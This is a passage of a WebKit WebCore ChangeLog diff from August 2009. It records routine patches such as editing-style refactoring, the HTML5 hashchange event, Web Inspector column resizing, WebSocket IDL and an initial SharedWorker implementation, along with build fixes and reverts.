+        * media/controls-right-click-on-timebar-expected.txt: Added.
+        * media/controls-right-click-on-timebar.html: Added.
+
+2009-08-07  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Justin Garcia.
+
+        deprecatedCopyInheritableProperties must be replaced by two different functions
+        https://bugs.webkit.org/show_bug.cgi?id=28057
+
+        This patch deletes deprecatedInheritableProperties and modifies call callees to call either editingStyleAtPosition
+        or prepareEditingStyleToApplyAt. The concept of editing style is introduced in this patch,
+        which consists of all CSS properties need to be preserved under editing operations.
+
+        No test is added since this patch does not change any behavior.
+
+        * css/CSSComputedStyleDeclaration.cpp: Removed deprecatedCopyInheritableProperties
+        * css/CSSComputedStyleDeclaration.h: Removed deprecatedCopyInheritableProperties
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::):
+        (WebCore::editingStyleAtPosition): Obtains the editing-specific computed style at the position
+        (WebCore::prepareEditingStyleToApplyAt): Removes redundant editing styles at the specified position
+        (WebCore::removeStylesAddedByNode): Removes the style derived from the specified node
+        * editing/ApplyStyleCommand.h:
+        (WebCore::):
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::moveParagraphs): Uses editingStyleAtPosition
+        (WebCore::CompositeEditCommand::breakOutOfEmptyListItem): Uses editingStyleAtPosition
+        * editing/DeleteSelectionCommand.cpp:
+        (WebCore::removeEnclosingAnchorStyle): Uses removeStyleOfNode
+        (WebCore::DeleteSelectionCommand::saveTypingStyleState): Uses editingStyleAtPosition
+        (WebCore::DeleteSelectionCommand::calculateTypingStyleAfterDelete): Uses prepareEditingStyleToApplyAt
+        * editing/EditCommand.cpp:
+        * editing/EditCommand.h:
+        * editing/InsertParagraphSeparatorCommand.cpp:
+        (WebCore::InsertParagraphSeparatorCommand::calculateStyleBeforeInsertion): Uses editingStyleAtPosition
+        (WebCore::InsertParagraphSeparatorCommand::applyStyleAfterInsertion): Uses prepareEditingStyleToApplyAt
+        * editing/RemoveFormatCommand.cpp:
+        (WebCore::RemoveFormatCommand::doApply): Uses editingStyleAtPosition
+        * editing/ReplaceSelectionCommand.cpp:
+        (WebCore::handleStyleSpansBeforeInsertion): Uses editingStyleAtPosition
+        (WebCore::ReplaceSelectionCommand::handleStyleSpans): Uses editingStyleAtPosition and prepareEditingStyleToApplyAt
+        (WebCore::ReplaceSelectionCommand::doApply): Uses prepareEditingStyleToApplyAt
+        * editing/markup.cpp:
+        (WebCore::removeEnclosingMailBlockquoteStyle): Uses removeStyleOfNode
+        (WebCore::removeDefaultStyles): Uses prepareEditingStyleToApplyAt
+        (WebCore::createMarkup): Uses editingStyleAtPosition
+
+2009-08-07  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Bug 27250: Geolocation callback function IDL files are superfluous
+        https://bugs.webkit.org/show_bug.cgi?id=27250
+
+        The objects for the Geolocation success and error callbacks are created 'manually' in
+        WebCore/bindings/js/JSGeolocationCustom.cpp. Furthermore, the callback interfaces are 
+        marked 'NoInterfaceObject' in the W3C spec, so the prototype should not
+        appear on the window object. Hence IDL files for these callbacks are not required.
+
+        See http://www.w3.org/TR/geolocation-API/#geolocation_interface and
+        http://www.w3.org/TR/WebIDL/#NoInterfaceObject.
+
+        No new tests required.
+
+        * DerivedSources.make: Modified. Removed reference to IDL files.
+        * WebCore.gypi: Modified. Removed reference to IDL files.
+        * WebCore.xcodeproj/project.pbxproj: Modified. Removed reference to IDL files.
+        * page/PositionCallback.idl: Removed.
+        * page/PositionErrorCallback.idl: Removed.
+
+2009-08-07  Adam Treat  <adam.treat@torchmobile.com>
+
+        Reviewed by David Levin.
+
+        Build fix for Qt when ENABLE_VIDEO = 0.  This was necessitated by r46890 which
+        put the idl files back into play regardless of compile time defines.
+
+        * html/TimeRanges.idl:
+
+2009-08-07  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        Coding style patches for RenderThemeQt.cpp based on results from cpp_style.py.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28050
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::baselinePosition):
+        (WebCore::inflateButtonRect):
+        (WebCore::RenderThemeQt::supportsFocus):
+        (WebCore::RenderThemeQt::applyTheme):
+
+2009-08-07  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Prevent RenderThemeQt AdjustStyle based calls for TextField, MenuList and MenuListButton
+        from discarding style colour.
+
+        Add tests and remove tests from platform/qt/Skipped that now pass.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28050
+
+        Tests: fast/forms/menulist-style-color.html
+               fast/forms/text-style-color.html
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::adjustTextFieldStyle):
+        (WebCore::RenderThemeQt::adjustMenuListStyle):
+        (WebCore::RenderThemeQt::adjustMenuListButtonStyle):
+
+2009-08-07  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        https://bugs.webkit.org/show_bug.cgi?id=22495
+        [V8] Re-land http://trac.webkit.org/changeset/46821, now that
+        http://trac.webkit.org/changeset/46874 re-landed
+
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+
+2009-08-07  Adam Treat  <adam.treat@torchmobile.com>
+
+        Reviewed by Darin Adler and George Staikos.
+
+        Add rectToRect convenience function which returns the TransformationMatrix
+        which maps the 'from' rectangle to the 'to' rectangle.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28067
+
+        No tests as this would require binding the method to js and since it is static
+        that doesn't seem possible.  Please check the math.
+
+        * platform/graphics/transforms/TransformationMatrix.cpp:
+        (WebCore::TransformationMatrix::rectToRect):
+        * platform/graphics/transforms/TransformationMatrix.h:
+
+2009-08-07  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Implement the HTML5 hashchange event.
+        https://bugs.webkit.org/show_bug.cgi?id=21605
+
+        Test: fast/loader/hashchange-event.html
+
+        * dom/EventNames.h: Add "hashchange"
+        * html/HTMLAttributeNames.in: Add "onhashchange"
+
+        * loader/FrameLoader.cpp:
+        (WebCore::HashChangeEventTask::create):
+        (WebCore::HashChangeEventTask::performTask):
+        (WebCore::HashChangeEventTask::HashChangeEventTask):
+        (WebCore::FrameLoader::scrollToAnchor): When an anchor navigation is completed and the
+          new fragment identifier is different from the old one, queue a hash change event
+          on the Document.
+
+        Add a window event listener for the hashchange event if onhashchange is encountered:
+        * html/HTMLBodyElement.cpp:
+        (WebCore::HTMLBodyElement::parseMappedAttribute): 
+        * html/HTMLFrameSetElement.cpp:
+        (WebCore::HTMLFrameSetElement::parseMappedAttribute):
+
+        Add a new string utility method that gives "null and empty are equivalent" behavior:
+        * platform/text/PlatformString.h:
+        (WebCore::equalIgnoringNullity):
+        * platform/text/StringImpl.cpp:
+        (WebCore::equalIgnoringNullity):
+        * platform/text/StringImpl.h:
+
+2009-08-07  Jessie Berlin  <jberlin@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Add the initial implementation of the ability to resize the columns in
+        a DataGrid in the Web Inspector. Enables that functionality in both the
+        Profile View and in the Local Storage View.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26182
+        
+        In this version, resizing a column can change the width of at most two
+        columns (the columns to the left and right of the resizer being dragged).
+        
+        Possible changes in future patches:
+        
+        1) Be able to specify the minimum size of a column and the maximum size
+           of a column. If the minimum size is equal to the maximum size, the
+           column can't be resized.
+        2) Make the behavior more in line with the following description:
+        
+        Everything before the column that is resized stays fixed size. The
+        resized column changes sizes. The other columns except the last stay
+        the same size. And the last column adjusts to fit with a minimum size.
+        If the last column is already the minimum, the next to last column
+        shrinks, etc.
+        
+        3) Make it possible to scale the column sizes appropriately when the
+           Web Inspector window gets resized.
+        
+        * inspector/front-end/DOMStorageItemsView.js:
+        (WebInspector.DOMStorageItemsView.prototype.update):
+        Once the DataGrid is added to the DOM, update the widths of the
+        DataGrid in order to put the resizers in place.
+        (WebInspector.DOMStorageItemsView.prototype.resize):
+        Update the widths of the DataGrid in order to correctly adjust the
+        positions of the resizers.
+        
+        * inspector/front-end/DataGrid.js:
+        (WebInspector.DataGrid):
+        Store column groups whose widths can later be changed when the columns
+        are resized by the user.
+        Also, keep track of whether the widths of the columns have been
+        initialized.
+        (WebInspector.DataGrid.prototype.updateWidths):
+        Create the resizers for the columns.
+        (WebInspector.DataGrid.prototype._clickInDataTable):
+        Didn't actually change anything in this method, just added a comma to
+        the end of the function.
+        (WebInspector.DataGrid.prototype._startResizerDragging):
+        Store the resizer that is currently dragging.
+        (WebInspector.DataGrid.prototype._resizerDragging):
+        Constrain the area that the resizer can be dragged to the column to
+        it's left and right, with some padding added to make sure that the
+        neighboring columns don't disappear.
+        (WebInspector.DataGrid.prototype._endResizerDragging):
+        
+        * inspector/front-end/DatabasesPanel.js:
+        (WebInspector.DatabasesPanel.prototype.resize):
+        Resize the view.
+        (WebInspector.DatabasesPanel.prototype._updateSidebarWidth):
+        ditto.
+        
+        * inspector/front-end/ProfileView.js:
+        (WebInspector.ProfileView.prototype.show):
+        Now that the DataGrid is actually attached to the DOM, update the
+        widths of the DataGrid in order to put the resizers in place.
+        (WebInspector.ProfileView.prototype.resize):
+        Update the widths of the DataGrid in order to correctly adjust the
+        positions of the resizers.
+        
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.resize):
+        Resize the view.
+        (WebInspector.ProfilesPanel.prototype._updateSidebarWidth):
+        ditto.
+        
+        * inspector/front-end/inspector.css:
+        Add in a style rule for a resizer in the Data Grid.
+
+2009-08-07  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Back out r46847 and fix the Qt build system to always generate
+        all the JS binding files from IDL files. The generated files
+        have #if feature guards, so the #ifs are not needed in the
+        files using them.
+
+        * WebCore.pro:
+        * bindings/js/JSEventTarget.cpp:
+        * bindings/js/JSWorkerContextBase.cpp:
+        * bindings/js/WorkerScriptController.cpp:
+
+2009-08-07  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Adele Peterson.
+
+        Cannot scroll for box-reflect:right
+        https://bugs.webkit.org/show_bug.cgi?id=27979
+
+        Update m_overflowLeft an m_overflowWidth for reflection just like
+        m_overflowTop and m_overflowHeight.
+
+        Test: fast/reflections/reflection-overflow-scroll.html
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::layoutBlock):
+
+2009-08-06  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        box-shadow's spread is ignored with <table>
+        https://bugs.webkit.org/show_bug.cgi?id=28017
+
+        Use RenderStyle::getBoxShadowExtent just like RenderBlock.
+
+        Test: fast/box-shadow/box-shadow-overflow-scroll.html
+
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::layout):
+
+2009-08-06  Joseph Pecoraro  <joepeck02@gmail.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Inspector: NodeLists Don't Display Well in the Console
+        https://bugs.webkit.org/show_bug.cgi?id=28061
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._format): Specific check if the object is a NodeList, display as an "array"
+
+2009-08-06  Yusuke Sato  <yusukes@chromium.org>
+
+        Reviewed by David Levin.
+
+        Chromium Linux: add support for @font-face
+        https://bugs.webkit.org/show_bug.cgi?id=28015
+        
+        * loader/CachedFont.cpp:
+        (WebCore::CachedFont::~CachedFont):
+        (WebCore::CachedFont::ensureCustomFontData):
+        (WebCore::CachedFont::platformDataFromCustomData):
+        (WebCore::CachedFont::allClientsRemoved):
+
+        Modified #ifdefs so that chromium linux can load remote fonts.
+        
+        * platform/graphics/chromium/FontCustomPlatformData.cpp:
+        (WebCore::FontCustomPlatformData::~FontCustomPlatformData):
+        (WebCore::FontCustomPlatformData::fontPlatformData):
+        (WebCore::createFontCustomPlatformData):
+
+        Create SkTypeface for a web font by calling SkTypeface::CreateFromStream function.
+        
+        (WebCore::RemoteFontStream::RemoteFontStream):
+        (WebCore::RemoteFontStream::~RemoteFontStream):
+        (WebCore::RemoteFontStream::rewind):
+        (WebCore::RemoteFontStream::read):
+
+        New class that implements SkStream interface and wraps wtf's SharedBuffer.
+        
+        * platform/graphics/chromium/FontCustomPlatformData.h:
+        (WebCore::FontCustomPlatformData::FontCustomPlatformData):
+
+        Added member variables for Linux.
+        
+2009-08-06  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Fix JPEGImageDecoder.cpp compile error on WinCE
+        https://bugs.webkit.org/show_bug.cgi?id=28051
+
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+
+2009-08-06  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Reviewed by Eric Seidel.
+
+        Adding WebCore support for the waf build system for wx.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=27619
+
+        * wscript: Added.
+
+2009-08-06  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed revert.
+
+        http://bugs.webkit.org/show_bug.cgi?id=27879
+
+        Revert 46877 because it broke GTK.
+
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+
+2009-08-06  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Bug 27956 - AX: roleValue should be cached for performance
+        https://bugs.webkit.org/show_bug.cgi?id=27956
+
+        Caches the role value of an accessibility object instead of calculating it everytime.
+        The changes gained a 5% speedup using VoiceOver to navigate a webpage.
+
+        * accessibility/AXObjectCache.cpp:
+        (WebCore::AXObjectCache::handleAriaRoleChanged):
+
+        Use generic role setter instead of specific ARIA role setter.
+
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::AccessibilityObject):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::headingLevel):
+
+        Make headingLevel into instance method so that it can *safely* be called in the constructor.
+
+        (WebCore::AccessibilityObject::setRoleValue):
+        (WebCore::AccessibilityObject::roleValue):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::AccessibilityRenderObject):
+        (WebCore::AccessibilityRenderObject::headingLevel):
+        (WebCore::AccessibilityRenderObject::intValue):
+        (WebCore::AccessibilityRenderObject::updateAccessibilityRole):
+        (WebCore::AccessibilityRenderObject::determineAccessibilityRole):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (AXAttributeStringSetHeadingLevel):
+
+2009-08-06  Zoltan Horvath  <hzoltan@inf.u-szeged.hu>
+
+        Reviewed by Adam Barth.
+
+        Change Noncopyable inheriting to public
+        http://bugs.webkit.org/show_bug.cgi?id=27879
+
+        Since Noncopyable is inherited from FastAllocBase, Noncopyable's
+        inheriting has been changed to public.
+
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+
+2009-08-06  Mark Rowe  <mrowe@apple.com>
+
+        Rubber-stamped by Sam Weinig.
+
+        Add explicit dependencies for our build verification scripts to ensure that they always run after linking has completed.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-08-05  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Implement the matchMedium method on the Media interface described in the CSSOM View Module.
+        https://bugs.webkit.org/show_bug.cgi?id=22495
+        
+        Add a new Media interface, obtainable via the AbstractView, that can
+        evaluate queries via its matchesMedium() method.
+
+        Test: fast/media/matchmedium-query-api.html
+
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        Add Media.* files to the build.
+
+        * css/Media.cpp: Added.
+        (WebCore::Media::Media):
+        (WebCore::Media::type):
+        (WebCore::Media::matchMedium):
+        * css/Media.h: Added.
+        (WebCore::Media::create):
+        (WebCore::Media::document):
+        * css/Media.idl: Added.
+        Media::matchMedium() uses a MediaQueryEvaluator() to test the query.
+
+        * page/AbstractView.idl:
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::media):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        Add a readonly attribute for Media.
+
+2009-08-06  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27455
+        Support for a custom validation message in ValidityState and related
+        form controls.
+        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#dom-cva-setcustomvalidity
+
+        Tests: fast/forms/ValidityState-customError-001.html
+               fast/forms/ValidityState-customError-002.html
+               fast/forms/ValidityState-customError-003.html
+               fast/forms/ValidityState-customError-004.html
+
+        * html/HTMLButtonElement.idl: setCustomValidity DOM method
+        * html/HTMLFieldSetElement.idl: ditto
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::setCustomValidity): ditto
+        * html/HTMLFormControlElement.h:
+        (WebCore::HTMLFormControlElement::valueMissing): moved down
+        * html/HTMLInputElement.idl: ditto
+        * html/HTMLSelectElement.idl: ditto
+        * html/HTMLTextAreaElement.idl:
+        * html/ValidityState.h:
+        (WebCore::ValidityState::setCustomErrorMessage): method to set custom
+        validation message
+        (WebCore::ValidityState::customError): validation flag
+
+2009-08-06  Mark Rowe  <mrowe@apple.com>
+
+        Bring a little order to our otherwise out of control lives.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-08-06  Mark Rowe  <mrowe@apple.com>
+
+        Stop copying .idl files in to the framework resources directory.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-08-06  Mark Rowe  <mrowe@apple.com>
+
+        Fix the build some more.
+
+        Add JSWebSocket.cpp and JSWebSocket.h to the Xcode project, and move the WebSocket-related
+        files and groups in to the appropriate locations.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-08-06  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Add WebSocket.idl
+        https://bugs.webkit.org/show_bug.cgi?id=27209
+
+        Add WebSocket.idl in WebCore/websockets/.
+        Add build systems only for GNUmakefile.am and WebCore.xcodeproj now.
+        Other build systems will be updated once the code is functional.
+
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSWebSocketConstructor.cpp: Added.
+        * bindings/js/JSWebSocketConstructor.h: Added.
+        * bindings/js/JSWebSocketCustom.cpp: Added.
+        * websockets/WebSocket.cpp: Added.
+        * websockets/WebSocket.h: Added.
+        * websockets/WebSocket.idl: Added.
+
+2009-08-06  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Style cleaning for WorkerContextExecutionProxy.
+        https://bugs.webkit.org/show_bug.cgi?id=27997
+
+        Cleanup WorkerContextExecutioonProxy related files to follow
+        WebKit coding styles after all V8 binding codes are upstreamed.
+        1) Lower-case the first letter of remaining functins in class
+           WorkerContextExecutionProxy. Update the V8 code generator
+           and all other references accordingly.
+        2) Integrate getConstructor from WorkerContextExecutionProxy
+           to V8DOMWrapper.
+        3) Other misc changes, like removing trailing whitespaces and
+           sorting the include files.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::execute):
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getConstructorForContext):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/V8WorkerContextEventListener.cpp:
+        (WebCore::V8WorkerContextEventListener::~V8WorkerContextEventListener):
+        (WebCore::V8WorkerContextEventListener::handleEvent):
+        (WebCore::V8WorkerContextEventListener::reportError):
+        (WebCore::V8WorkerContextEventListener::getReceiverObject):
+        * bindings/v8/V8WorkerContextObjectEventListener.cpp:
+        (WebCore::weakObjectEventListenerCallback):
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::handleConsoleMessage):
+        (WebCore::WorkerContextExecutionProxy::dispose):
+        (WebCore::WorkerContextExecutionProxy::initContextIfNeeded):
+        (WebCore::WorkerContextExecutionProxy::convertToV8Object):
+        (WebCore::WorkerContextExecutionProxy::convertEventToV8Object):
+        (WebCore::WorkerContextExecutionProxy::convertEventTargetToV8Object):
+        (WebCore::WorkerContextExecutionProxy::convertWorkerContextToV8Object):
+        (WebCore::WorkerContextExecutionProxy::toV8):
+        (WebCore::WorkerContextExecutionProxy::forgetV8EventObject):
+        (WebCore::WorkerContextExecutionProxy::removeEventListener):
+        * bindings/v8/WorkerContextExecutionProxy.h:
+        (WebCore::WorkerContextExecutionProxy::context):
+        (WebCore::WorkerContextExecutionProxy::convertToV8Object):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-08-06  Darin Adler  <darin@apple.com>
+
+        Fix Mac Leopard debug build.
+
+        * platform/text/StringImpl.cpp:
+        (WebCore::equalIgnoringCase): Removed meaningless assertion; an unsigned
+        is always >= 0 and checking causes a warning in the newer versions of gcc.
+
+2009-08-06  Adam Barth  <abarth@webkit.org>
+
+        Unreview rollout.
+
+        Revert 46840 because it broke the reliability tests.
+
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::ScheduledAction):
+        (WebCore::ScheduledAction::execute):
+        * bindings/v8/ScheduledAction.h:
+        (WebCore::ScheduledAction::ScheduledAction):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8Custom::WindowSetTimeoutImpl):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::SetTimeoutOrInterval):
+
+2009-08-06  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed rollout.
+
+        Revert 46840 in preparation to revert 46838, which broke the reliability tests.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::updateDocumentWrapperCache):
+        (WebCore::V8Proxy::initContextIfNeeded):
+        (WebCore::V8Proxy::mainWorldContext):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::context):
+
+2009-08-06  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: move style-related utilities into InjectedScript.
+
+        http://bugs.webkit.org/show_bug.cgi?id=27939
+
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.CSSStyleDeclaration):
+        (WebInspector.CSSStyleDeclaration.prototype.isPropertyImplicit):
+        (WebInspector.CSSStyleDeclaration.prototype.styleTextWithShorthands):
+        (WebInspector.CSSStyleDeclaration.prototype.getLonghandProperties):
+        (WebInspector.CSSStyleDeclaration.prototype.getShorthandPriority):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.applyStyleText):
+        (InjectedScript.toggleStyleEnabled):
+        (InjectedScript._serializeStyle):
+        (InjectedScript._getUniqueStyleProperties):
+        (InjectedScript._getLonghandProperties):
+        (InjectedScript._getShorthandPriority):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype._update):
+        (WebInspector.StylePropertiesSection.prototype.isPropertyOverloaded):
+        (WebInspector.StylePropertiesSection.prototype.onpopulate):
+        (WebInspector.StylePropertyTreeElement.prototype.get priority):
+        (WebInspector.StylePropertyTreeElement.prototype.get value):
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/utilities.js:
+
+2009-08-06  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Unreviewed build fix, add #ifdef guards around
+        inclusions of shared worker specific files.
+
+        * bindings/js/JSEventTarget.cpp:
+        * bindings/js/JSWorkerContextBase.cpp:
+        * bindings/js/WorkerScriptController.cpp:
+
+2009-08-06  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        cssgrammar.cpp fails to compile with RVCT compiler
+        https://bugs.webkit.org/show_bug.cgi?id=27952
+
+        * css/CSSGrammar.y: Do not convert to String to get rid of the stray
+        memory allocation 
+
+        * platform/text/StringImpl.cpp:
+        (WebCore::equalIgnoringCase):
+        * platform/text/StringImpl.h: 
+        (WebCore::equalIgnoringCase): Add charactersEqualIgnoringCase
+          function that works with a character pointer and length
+
+2009-08-06  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        Created first working implementation of SharedWorkers (execution only, no sharing).
+        https://bugs.webkit.org/show_bug.cgi?id=27927
+
+        Added initial implementations of SharedWorkerThread and SharedWorkerContext.
+        No v8 bindings yet.
+
+        * DerivedSources.cpp:
+        Added shared worker files.
+        * DerivedSources.make:
+        Added shared worker files.
+        * GNUmakefile.am:
+        Added shared worker files.
+        * WebCore.gypi:
+        Added shared worker files.
+        * WebCore.pro:
+        Added shared worker files.
+        * WebCore.vcproj/WebCore.vcproj:
+        Added shared worker files.
+        * WebCore.xcodeproj/project.pbxproj:
+        Added shared worker files.
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+        Added code to convert from EventTarget to correct JS class.
+        (WebCore::toEventTarget):
+        Added code to cast from JS object to appropriate EventTarget impl class.
+        * bindings/js/JSSharedWorkerConstructor.cpp:
+        (WebCore::JSSharedWorkerConstructor::JSSharedWorkerConstructor):
+        (WebCore::constructSharedWorker):
+        Tweaked the constructor code to pass in the lexical global object like normal workers.
+        * bindings/js/JSSharedWorkerContextCustom.cpp: Added.
+        (WebCore::JSSharedWorkerContext::mark):
+        Custom marking of the onconnect handler.
+        * bindings/js/JSWorkerContextBase.cpp:
+        (WebCore::toJSSharedWorkerContext):
+        (WebCore::toJSWorkerContext):
+        Added proper conversion to the correct WorkerContext derived class.
+        * bindings/js/JSWorkerContextBase.h:
+        * bindings/js/WorkerScriptController.cpp:
+        (WebCore::WorkerScriptController::initScript):
+        Updated WorkerScriptController to create the correct type of binding object (JSSharedWorkerContext vs JSDedicatedWorkerContext)
+        * bindings/scripts/CodeGeneratorV8.pm:
+        Added support for SharedWorkerContext.
+        * bindings/v8/DOMObjectsInclude.h:
+        Added shared worker bindings files.
+        * dom/EventNames.h:
+        Added connect event.
+        * dom/EventTarget.cpp:
+        (WebCore::EventTarget::toSharedWorkerContext):
+        Added API for casting to new derived class (SharedWorkerContext).
+        * dom/EventTarget.h:
+        * workers/AbstractWorker.cpp:
+        (WebCore::AbstractWorker::resolveURL):
+        Moved code that resolves/validates URLs to base class so it can be shared between dedicated/shared workers.
+        * workers/AbstractWorker.h:
+        * workers/DedicatedWorkerContext.cpp:
+        (WebCore::DedicatedWorkerContext::logException):
+        Refactored exception handling code - moved onerror handling to base class.
+        * workers/DedicatedWorkerContext.h:
+        (WebCore::DedicatedWorkerContext::isDedicatedWorkerContext):
+        * workers/SharedWorker.cpp:
+        (WebCore::SharedWorker::SharedWorker):
+        Changed constructor to fire up worker thread.
+        * workers/SharedWorker.h:
+        * workers/SharedWorkerContext.cpp: Added.
+        (WebCore::SharedWorkerContext::SharedWorkerContext):
+        (WebCore::SharedWorkerContext::~SharedWorkerContext):
+        (WebCore::SharedWorkerContext::logException):
+        (WebCore::SharedWorkerContext::addMessage):
+        Placeholder methods until we add support for sending exceptions/messages to console.
+        (WebCore::SharedWorkerContext::dispatchConnect):
+        (WebCore::SharedWorkerContext::thread):
+        * workers/SharedWorkerContext.h: Added.
+        (WebCore::SharedWorkerContext::create):
+        (WebCore::SharedWorkerContext::isSharedWorkerContext):
+        (WebCore::SharedWorkerContext::toSharedWorkerContext):
+        (WebCore::SharedWorkerContext::setOnconnect):
+        (WebCore::SharedWorkerContext::onconnect):
+        (WebCore::SharedWorkerContext::name):
+        * workers/SharedWorkerContext.idl: Added.
+        * workers/SharedWorkerRepository.h: Added.
+        (WebCore::SharedWorkerRepository::~SharedWorkerRepository):
+        * workers/DefaultSharedWorkerRepository.cpp: Added.
+        Implementation of core singleton class that will be used to implement sharing.
+        (WebCore::SharedWorkerProxy::setThread):
+        Proxy object used to handle resource loading for a given shared worker.
+        (WebCore::SharedWorkerProxy::postTaskToLoader):
+        (WebCore::SharedWorkerProxy::postTaskForModeToWorkerContext):
+        Placeholder routines until we implement loading.
+        (WebCore::SharedWorkerConnectTask::create):
+        Creates a task to fire off a connect event on the worker thread.
+        (WebCore::SharedWorkerConnectTask::SharedWorkerConnectTask):
+        (WebCore::SharedWorkerConnectTask::performTask):
+        (WebCore::SharedWorkerLoader::SharedWorkerLoader):
+        Added helper object to load the initial script for the worker.
+        (WebCore::SharedWorkerLoader::load):
+        (WebCore::SharedWorkerLoader::notifyFinished):
+        (WebCore::SharedWorkerRepository::instance):
+        (WebCore::DefaultSharedWorkerRepository::instance):
+        (WebCore::DefaultSharedWorkerRepository::workerScriptLoaded):
+        Fires off the worker thread once the script is loaded.
+        (WebCore::SharedWorkerRepository::connect):
+        (WebCore::DefaultSharedWorkerRepository::DefaultSharedWorkerRepository):
+        (WebCore::DefaultSharedWorkerRepository::~DefaultSharedWorkerRepository):
+        * workers/DefaultSharedWorkerRepository.h: Added.
+        * workers/SharedWorkerThread.cpp: Added.
+        (WebCore::SharedWorkerThread::create):
+        (WebCore::SharedWorkerThread::SharedWorkerThread):
+        (WebCore::SharedWorkerThread::~SharedWorkerThread):
+        (WebCore::SharedWorkerThread::createWorkerContext):
+        * workers/SharedWorkerThread.h: Added.
+        * workers/Worker.cpp:
+        (WebCore::Worker::Worker):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::reportException):
+        * workers/WorkerContext.h:
